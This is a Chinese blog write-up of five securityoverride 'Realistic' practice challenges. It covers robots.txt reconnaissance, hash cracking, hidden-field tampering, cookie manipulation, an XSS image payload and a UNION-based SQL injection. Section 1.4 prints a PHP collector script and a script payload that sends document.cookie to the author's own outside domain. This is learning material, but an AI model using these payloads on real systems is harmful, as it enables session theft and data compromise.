securityoverridehacking challenge 解题思路汇总——Realistic

来源:互联网 发布:select ajax json 联动 编辑:程序博客网 时间:2024/04/30 05:01

进行了之前的各项练习之后,今天终于做到实战演练(Realistic)部分了。和前面相比,这部分最大的难度就在于,你并不知道攻击点在哪,攻击类型是什么。因此,必须从一个完整的网页中去一点点的寻找。当然,整个过程还是有一定的套路,以及常见可供入手的点。而在这部分训练中,都很好的模拟了出来。相信这对于实战的过程能够有很大的帮助。

1   Realistic

1.1  Realistic

这题琢磨了很久,本来以为输入邮件的地方可能有sql注入,但是多次尝试都没有成功。按题目要求说,是要首先登录,在做其他操作。然而这个登录入口却一直找不到。于是逛论坛,找提示。里面提到了如何不让一个网址被爬虫获取到,然后通过搜索就找到robots.txt。

这个文件是针对爬虫的一个规范,及任何爬虫都应当根据网站制定的robots.txt来爬取允许的网站,而在robots.txt中禁止的网站,爬虫应当自动过滤掉。当然,遵守不遵守这个规定,全看开发者而言,因此,并不具备任何严格的保护意义。相反的,这个文件对网站的信息产生了泄露。大部分想要避免爬虫的网站都会有这样一个robots.txt的文件,而这个文件是可以公开访问的,也就是说,我们可以通过这个文件获取到服务器可能包含的路径和网址(Google的robots.txt文件:https://www.google.com/robots.txt)。

回到题目本身,直接访问robots.txt,可以看见一个hidden目录。访问hidden可以看到该目录下存在admin.php以及hash.txt。访问admin.php,发现需要输入密码,于是将hash.txt中的内容破解出来,输入即可。最后根据网站操作直接删除。

这里也拓展查询了一下,保护管理员界面的方法。通常来说,管理员界面应当是不能被外界访问的。因此,对于管理员界面,应当进行ip限制,只允许内网访问。而从隐藏的角度来说,就需要做到该界面不被任何界面引用,也不能出现在任何其他网页或文件中。当然,即使这样,也不能完全避免管理员页面的隐秘性。因此,隐秘性只是安全防护中很细微的一步。要真正做到安全,就必须确保管理员登录过程的安全性,这就又是一个需要付出大量努力的过程了。

1.2  Realistic

相比起第一题,这一题似乎明显得多。很容易发现,它有一个登录界面,并拥有找回密码功能。先简单尝试了一个sql注入,不过没有任何返回信息,估计是没戏的了。然后进入密码找回界面,输入任意字符,提示用户不存在。同样sql注入了一下,并没有任何结果。不过基本可以断定这里是一个入口了,而关键就是要找到用户名。浏览网页,在联系我们部分可以看到一个邮箱information@psc.com,于是尝试用邮箱当用户名,不过还是没法找到。后来又试了下其他可能,也都失败了。于是又开始逛论坛了,然后确信能够在网页中找到用户名。最后无望的时候试了一次information@psc.com的前缀information,竟然提示已发送密码到邮箱,我也是醉了。有时候离成功真是只有一步之遥,却并不知情。

提示中,它发送的邮箱是information@psc.com,显然不是我想要得结果。不过这个问题在Basic 6中已经遇到过了,直接查看源码,修改隐藏的目标邮箱地址为自己的邮箱,就可以收到密码了。成功登陆后,发现有EAM项目,点击进去后却提示权限不够。不过在另一个链接中,显示了全部的用户裂解,以及密码的hash值。这就简单了,选取第一个用户,破解hash,然后再登陆,就可以进入EAM项目并删除了。

1.3  Realistic

同样琢磨了半天,后来找到提示说,在feedback处有CSRF漏洞。这么一说我就懂是怎么回事了,因为登录之后可以发送反馈给管理员,因此可以在返回的数据中带上一些web数据,使得管理员在查看的时候,会发生XSS漏洞,执行你发的脚本,并发送get请求。而这个get的请求则是用来还书的。在浏览网页的时候可以发现,借书的请求为:http://securityoverride.org/challenges/realistic/3/checkout.php?id=53&checked_out=yes,那么可以猜测,还书的请求为checked_out=no。于是在反馈中发送如下脚本:<imgsrc="http://securityoverride.org/challenges/realistic/3/checkout.php?id=53&checked_out=no"/>,于是就成功了。

对于第二问,也是纠结在这个XSS上太久了,脑子没转过来。后来提示说注意cookie,一查,果然发现cookie里面多了一个discount=5,正好买书的时候信息中显示了discount为5%。这样一来就简单了,修改discount为200%,那么就会把价格变成-10刀,此时再买书就可以让余额为正了。

总得来说,这题其实还比较简单,只不过还是老样子,因为不知道是什么漏洞,所以无法很快的定为到需要挖掘的点。往往在盲目的探索上花了过多的事件。老实说,第一部分其实不算是csrf,应当属于xss漏洞,不过这个xss并不是发生在用户的网页上,而是管理员的网页上,因此很难发现。如果是现实中,没有机器人自动查看类似的反馈信息的话,要想发掘这个xss还是很有难度的。而第二部分也是比较理想化的一个逻辑了,让用户来操纵关键信息,实际上应该是全部由服务器来处理这类逻辑的。

1.4  Realistic

逛论坛,基本推断是和1.3类似的漏洞,即发送一段xss脚本给管理员,然后获取管理员密码。和之前不同,这次需要盗取到cookie的内容。最基本的方式就是用javascript向自己服务器发起一个GET请求,参数中带上cookie。因为之前并没有自己的域名,所以去x10host上弄了个免费域名captain.x10host.com。然后写了一个简单的php脚本用来收集并记录请求信息,内容如下:

<?php

echo $_GET["pw"];

$file = 'request.txt';

file_put_contents($file, $_GET["pw"] . "\n\n",FILE_APPEND | LOCK_EX);

?>

准备工作完成之后,就进入模拟页面。注册,登录,然后发送tickets,内容为<script>location.href="http://captain.x10host.com/collector/collector.php?"+document.cookie</script>。然而,很不幸,尽管我自己是被成功的xss了,但是管理员并没有接受到。也问了几个人,他们都说没有问题,猜测可能是robot没法识别这个 域名之类的。而且在不知道管理员界面的情况下,想要进行推测是很难得。因此,这题基本就算是卡在这里了。

1.5  Realistic

进入模拟页面后,用已知账号密码登录。查看右侧Members Only的几个链接,在Member List中有这么一句话,“Displaying all 8 members found in table"members".”基本可以断定是要进行 sql注入了。在BetaFeatures List中,可以选择展示的项目,点击的时候可以注意到,url的GET参数status分别为1和2。修改status=[],出现错误信息mysql_fetch_array(),发现了sql注入的入口。

和之前的2.12类似,首先测试1 and 1=1和1 and 1=0,可以判定正确语法,并且需要用 -- 作为注释符号。然后尝试unionselect 1,2,3…,但是一直试到10都没有结果。这时候突发奇想,用sqlmap试了一下,也没有突破进展,不过sqlmap倒是猜测它的返回结果为3列。浏览一下论坛,发现必须要有table才能显示结果,不用说,又是模拟注入的坑了。于是输入0union select 1,2,3 from members,可以看到2,3被显示了出来。猜测列名为username和password,替换掉2和3,于是就可以获得全部的用户名和密码了。使用第一个用户randyg进行登录,然后直接在网页上操作即可。

0 0
原创粉丝点击